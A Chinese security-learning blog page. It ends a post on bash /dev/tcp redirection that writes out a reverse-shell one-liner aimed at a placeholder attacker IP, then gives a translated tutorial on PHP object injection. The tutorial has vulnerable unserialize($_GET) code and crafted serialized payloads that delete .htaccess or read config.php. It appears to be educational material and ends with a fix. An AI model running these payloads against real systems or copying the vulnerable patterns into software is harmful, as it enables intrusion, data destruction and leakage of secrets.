root@greenboy:~/Desktop/tools/exploit#        对! 没错,这就是nc连接上提交来的数据!            4.上面我们通过/dev/tcp/IP/PORT通信得到了8888.txt文件,那么我们是否可以把从NC里读取到的数据用于执行了? 于是bash中后门就上场了    -c字符串        若用-c参数,则bash从字符串中读入命令,如果字符串后还有变量就被设定为从$0开始的位置参数。        -i    若用-i参数,则bash是交互的。    -s    若用-s参数,则bash从标准输入中读入命令(在执行完-c带的命令之后。)直到输入exit。    bash中交互式命令-i使用:    bash1.sh:    bash -i >& 0>&1 # 输入设备的数据执行后重定向输出设备    ./bash1.sh        ping www.baidu.com                那门再看此后门:bash -i >& /dev/tcp/攻击者Ip或肉鸡IP/shell端口 0>&1    bash以交互式方式在后台执行,从/dev/tcp/IP/PORT读取到数据作为输入设备数据被作为bash执行参数并输出.0x05.小结    实践一下总是效果极好的,输入输出重定向有了新的认知.bash脚本查了资料有了点了解.特别知道            了/dev/tcp[udp]/IP/PORT这中文件.会去TCP或UDP连接.    1. bash -c “ifconfig” 直接执行.文章学习来源:linux shell 脚本实现tcp/upd协议通讯(重定向应用) 各类反弹shellLinux重定向命令... 继续阅读 »
渗透技巧

Understanding-php-object-injection-翻译&学习

Understanding-php-object-injection-翻译&学习
恍如隔世:    1. 不知什么时候写笔记也模仿乌云知识库的大牛们写文的风格用:0x01、0x02、0x03 咯!!    2. 之前博客的服务器在学院的机房失联N久了,没办法只有在这特殊时刻,重新开个博客了.以后再慢慢把以前博客上东西一点点腾写过来吧!自己的东西还是放在自己手里方便些!    3. 作为第一篇学习文章,开个头!!    4. 越来越佩服国外大牛了,正在收集国外大牛和安全社区的链接,以后做个好搬运工翻译在自己博客留着学习!!言归正传:理解PHP对象注入     0x00. 背景本文学习自 http://securitycafe.ro/2015/01/05/understanding-php-object-injection/     PHP对象注入并不是一个很常见的漏洞,它可能很难用于利用,但真的很危险.为了理解这个漏洞,需要能读懂基本的PHP代码的能力.   0x01. 漏洞实例        如果你认为这不是一种重要的漏洞类型,请看下面列出的清单.研究者在非常流行的PHP运用实例中发现的PHP对象注入漏洞.        Wordpress3.6.1        Magento1.9.0.1        Joomla3.0.3                 还有很多其他的. 在这些或者其他非常流行的PHP运用实例中可能还有大量未被发现的PHP代码注入漏洞,因此也许你可以休息一下喝杯咖啡和试着了解它.   0x02. PHP类和对象        PHP中类和对象是很容易理解的.例如下面的代码就定义了一个带有一个变量和一个方法的类.<?php 文件名:TestClass.php class TestClass {     // 一个简单的变量     public $variable = 'This is a string';     // 一个简单的方法     public function PrintVariable()     {         echo $this->variable;     } } // 创建一个对象 $object = new TestClass(); // 调用它的方法 $object->PrintVariable(); ?>    它创建了一个对象然后调用了“PrintVariable”函数并打印变量的值.如果你想学习更多的PHP面向对象程序设计,跟随这个链接OOP   0x03. PHP魔法函数            PHP类可以包含特殊的函数被叫做魔法函数.魔法函数名字以"__"开头,比如:构造函数__construct,析构函数__destruct,转字串函数__tostring,挂起函数__sleep,唤醒函数__wakeup 和其他的.    这些函数在一定的情况下会被自动调用,例如:    1. 构造函数 __construct 会被调用当一个对象被创建的时候.    2. 析构函数 __destruct 会被调用当一个对象被销毁的时候.    3. 转字串函数__tostring 会被调用当一个对象被用作为一个字串时.     为了理解魔法函数是如何工作的,我们添加一些魔法函数在我们的类里面.     文件名:TestClass2.php<?php class TestClass {     // 一个简单变量         public $variable = 'This is a string';         // 一个简单方法         public function PrintVariable()     {         echo $this->variable . '';     }         // 构造函数         public function __construct()     {         echo '__construct';     }         // 析构函数         public function __destruct()     {         echo '__destruct';     }         // 转字符串函数         public function __toString()     {         return '__toString';     } } // 创建一个对象 // 将会调用执行构造函数:__construct $object = new TestClass(); // 调用执行PrintVariable方法 // 程序将会打印 'This is a string' $object->PrintVariable(); // 对象作为字符串使用 // 将会调用执行转字串函数:__toString echo $object; // PHP脚本执行结束 // 将会调用执行析构函数: __destruct ?>        我们现在有3个另外的方法: __construct, __destruct 和 __toString.正如你看到的,当一个对象被创建的时候构造函数__construct被调用执行,当PHP脚本结束并且PHP对象销毁的时候析构函数__destruct被调用执行和当对象被作为字符串使用时转字串函数__tostring被调用.这个‘echo’函数将会把$object对象作为一个字符串处理这时__tostring函数就被自动调用了.        这个脚本将会输出:        __construct        This is a string        __toString        __destruct                这里是一些基本的魔法函数思想。如果你想学习有关的所有魔法函数,请跟随链接      0x04. PHP对象序列化            PHP允许对象序列化.序列化是一个允许你保存一个对象和晚些时候重用它的存储过程.比如:你可以保存一个包含一些用户信息的对象和晚些时候重用它.            为了序列化一个对象,你需要调用序列化函数“serialize”.它会返回一个有代表性的字符串,晚些时候可以通过调用反序列化函数“unserialize”重用它来创建和重用你的对象.            让我们用一个简单的User类,序列化一个对象并看它被序列化后的表示形式.        文件名:TestUser.php<?php         // 定义一个简单的User类     class User     {         // 类数据变量         public $age = 0;         public $name = '';         // 打印信息的方法         public function PrintData()         {             echo 'User ' . $this->name . ' is ' . $this->age                  . ' years old.';         }     }     // 创建一个user对象     $usr = new User();     // 填充user数据     $usr->age = 20;     $usr->name = 'John';     // 打印数据     $usr->PrintData();     // 序列化对象并打印序列化返回结果     echo serialize($usr);     ?>        这个脚本将会输出:   User John is 20 years old.     O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}                    正如你看到的,这里有一些类变量和用户填充数据:John 和 20.        为了重用这个对象,我们反序列化这个序列化后的字符串:        文件名:TestUser2.php<?php class User {     // 类数据变量     public $age = 0;     public $name = '';     // 打印数据     public function PrintData()     {         echo 'User ' . $this->name . ' is ' . $this->age . ' years old.';     } } // 利用反序列化创建一个对象 $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'); // 打印数据 $usr->PrintData(); ?>        这个脚本会输出: User John is 20 years old.        0x05.反序列化魔法函数            作为构造函函数(__construct)和析构函数(__destruct)当一个对象被创建和销毁时会被自动调用,其他的魔法函数会被调用当一个对象被序列化和反序列化时.            1. 挂起函数__sleep 被调用当一个对象被序列化时.            2. 唤醒函数__wakeup 被调用当一个对象被反序列化时.                    注意那个挂起函数__sleep必须返回一个由被序列化的变量名字构成的数组.        一个有关这些函数怎样工作的例子:        文件名:Testmogic.php<?php class Test {     public $variable = 'BUZZ';     public $variable2 = 'OTHER';         public function PrintVariable()     {         echo $this->variable . '<br />';     }         public function __construct()     {         echo '__construct<br />';     }         public function __destruct()     {         echo '__destruct<br />';     }         public function __wakeup()     {         echo '__wakeup<br />';     }         public function __sleep()     {         echo '__sleep<br />';         return array('variable', 'variable2');     } } // 创建一个对象,此时会自动调用构造函数:__construct $obj = new Test(); // 序列化一个对象,会自动调用挂起函数__sleep $serialized = serialize($obj); // 打印序列化结果字符串 print 'Serialized: ' . $serialized . ' '; // 反序列化字符串,会自动调用唤醒函数__wakeup $obj2 = unserialize($serialized); // 调用打印方法,会打印出反序列化得到的对象中的数据 $obj2-&gt;PrintVariable(); // PHP 脚本结束会为两个对象($obj and $obj2)调用析构函数__destruct ?>        这个脚本将会输出的结果:__construct __sleep Serialized: O:4:"Test":2:{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} __wakeup BUZZ __destruct __destruct            正如你看见的,我们创建了一个对象,序列化它(此时__sleep函数会被调用),利用第一个序列化的对象反序列化创建另外一个对象(此时__wakeup函数会被调用)PHP脚本完成执行后,析构函数会为两个对象被自动调用.            为了找到更多的信息关于对象序列化,请跟随链接:        0x06. PHP对象注入            我们现在了解了序列化是如何工作,但是我们怎么利用它呢?这里有多种可能情况。一切都取决于应用风格,可用的类和魔法函数。            要记住的是一个序列化的对象包含包含攻击者可控制的对象值.            你可以在web应用源码中发现,一个定义了__wakeup 或 __destruct方法的类,用它的这些方法做一些事情可能影响到web应用.            比如:我们发现一个临时存储日志到一个文件的类,当销毁时,这个对象可能不在需要日志文件并删掉它。                        文件名:logfile.php<?php class LogFile {     // 指定日志文件名字     public $filename = 'error.log';     // 记录一些数据     public function LogData($text)     {         echo 'Log some data: ' . $text . '<br />';         file_put_contents($this->filename, $text, FILE_APPEND);     }     // 销毁对象并删除日志文件     public function __destruct()     {         echo '__destruct deletes "' . $this->filename . '" file. <br />';         unlink(dirname(__FILE__) . '/' . $this->filename);     } } ?>           使用的例子:<?php include 'logfile.php'; // 创建一个对象 $obj = new LogFile(); // 指定文件名和日志记录数据 $obj->filename = 'somefile.log'; $obj->LogData('Test'); // PHP脚本结束,析构函数会自动调用执行“somefile.log”文件会被删除 ?>        在另外的脚本中,我们可以发现一个调用“unserialize”的函数使用了用户提供的数据(攻击者可控的-$_GET)文件名:script.php<?php include 'logfile.php'; // ... 使用到了LogFile类的其他代码 ... // 简单的类申明 class User {     // 类数据     public $age = 0;     public $name = '';     // 打印数据     public function PrintData()     {         echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';     } } // 反序列化用户提供的数据 $usr = unserialize($_GET['usr_serialized']); ?>        正如你看到的,这段代码使用了LogFile类,有一个采用了用户提供的数据调用“unserialize”的函数,这个就是代码注入点.        一个有效的请求可能会像这样:        script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}        但是,如果用序列化的“LogFile”对象替换序列化的“User”对象来发送会发生什么呢? 没有任何事物强迫我们发送一个序列化的“User”对象,所以我们可以发送我们想发送的任何序列化的对象.        咱们创建一个序列化的“LogFile”对象:        文件名:mylog.php<?php //原文此处有错,没有include 文件,不能直接使用LogFile对象的. // 补充下面一条语句 include 'logfile.php'; $obj = new LogFile(); $obj->filename = '1.htaccess'; #windows 下没法创建.htaccess,于是创建1.htaccess测试 echo serialize($obj) . '<br />'; ?>        这个将会输出:      O:7:"LogFile":1:{s:8:"filename";s:10:"1.htaccess";}       _destruct deletes "1.htaccess" file.        并删除了1.htaccess文件        现在我们使用序列化的“LogFile”对象来构造我们的请求:        script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:10:"1.htaccess";} //构造请求注意前面那个是大写字母O不是数字0        请求之前:              请求后输出结果:        O:7:"LogFile":1:{s:8:"filename";s:10:"1.htaccess";} #我打印出来看,发现那个是O不是0的问题        __destruct deletes "1.htaccess" file.                现在这个“.htaccess”文件就被删除了.因为析构函数__destruct是被自动调用的并且我们可以接触到“LogFile”类变量,因此我们可以指定“filename”为任何值的情况是可能的        这就是漏洞名字的来源:为了获得代码执行或者对于你作为一个攻击者来说其他未知的有用的行为,替换期望使用的序列化后的对象,你注入其他PHP对象.        虽然这并不是最好的例子,但是你可以理解其思想:为了攻击攻击Web应用,反序列化要自动调用唤醒函数__wakeup和析构函数__destruct并且攻击者可以操控类变量.            0x07.常见的注入点        虽然这个“默认”可利用性与魔法函数__wakeup或__destruct有关,这里也存在其他常用的注入点可能允许你利用这种类型的漏洞.一切都与应用代码的流程有关.        例如:为了允许程序把对象作为一个字符串使用(例如:echo $ogj),一个User类可能会定义一个__toString方法.但是其他类可能也定义了一个__toString方法允许程序读取一个文件(例如:一个FileClass类).        文件名:script2.php<?php  // ... 包含一些其他的文件 ... class FileClass {     // 文件名变量     public $filename = 'error.log';     // 对象被用作一个字符串展示文件内容     public function __toString()     {         return file_get_contents($this->filename);     } } // User类 class User {     // 类数据     public $age = 0;     public $name = '';     // 允许对象当作一个字符串使用     public function __toString()     {         return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';     } } // 期望的: 用户提供一个序列化的User对象 $obj = unserialize($_GET['usr_serialized']); // 我们调用序列化对象的__toString方法 echo $obj; ?>        一个有效的请求将会使用一个已序列化的User对象:script2.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}        输出结果展示了User的信息:User John is 20 years old.        但是如果我们使用一个已序列化的FileClass对象会发生什么呢?        我们创建一个已序列化的FileClass对象例如:                文件名:Testconfig.php<?php //添加下面一句include文件script.php才能使用FileClass类或User类 include "script2.php"; $fileobj = new FileClass(); $fileobj->filename = 'config.php'; echo serialize($fileobj); ?>        输出结果:            警告信息是script2.php测试代码$_GET中变量未定义导致.注释测试代码或不管 Notice: Undefined index: usr_serialized in D:\PHP\xampp\htdocs\poc\FileUser.php on line 26 O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}        我们序列化的字符串会是这样:O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}        如果使用我们的FileClass对象调用先前同样的脚本会发生什么呢?script2.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}        它将会输出“config.php”文件的源码内容:        查看网页源码可见:        读取到config.php文件的源码:<!--?php  //配置文件 $private_data = 'MAGIC'; ?-->        很容易理解漏洞成因:因为攻击者提供了序列化的“FileClass”对象,反序列化函数“unserialize”通过$_GET得到的字符串并且在成功反序列化创建了“FileClass”对象,此时$obj代表的就是一个FileClass对象,echo时调用FileClass对象的__toString方法读取和输出我们控制的指定的文件名变量“filename”的值.        0x08.其他可利用场景                也可能使用其它的魔法函数:如果对象调用一个不存在的函数时__call 将会被调用,如果对象尝试获取不存在的类变量时__get和__set就会被调用等等.            但是这个利用性不限于魔法函数.同样的思想在普通的函数间同样会起作用.例如:一个User类可能定义一个"get"方法用于找到和输出一些user数据,但是其他的类可能定义一个"get"方法从数据库中取得数据,获取结果存在SQL注入漏洞形成(PHP代码注入+SQL注入).或者一个“set”或“write”方法写入数据到一个任意文件,可能会被利用获得远程代码执行.            唯一的技术问题就是在你的注入点里可利用的类,但是一些框架或脚本可能具有“自动加载”特性.你可以找到更多的信息在这里: 最大的问题其实是人:理解这种类型漏洞的应用代码流程,因为它可能要求大量的时间去阅读和理解代码.    0x09.如何修复和避免        在用户提供的数据上不使用“反序列化”.你可以使用json_decode替换.   0xfinal.总结        虽然很难找到甚至更加难利用,这也是一种非常危险的漏洞.它可以造成DOS拒绝服务攻击,任意文件读取,SQL注入,远程代码执行,或者任何应用代码流程允许的操作.... 继续阅读 »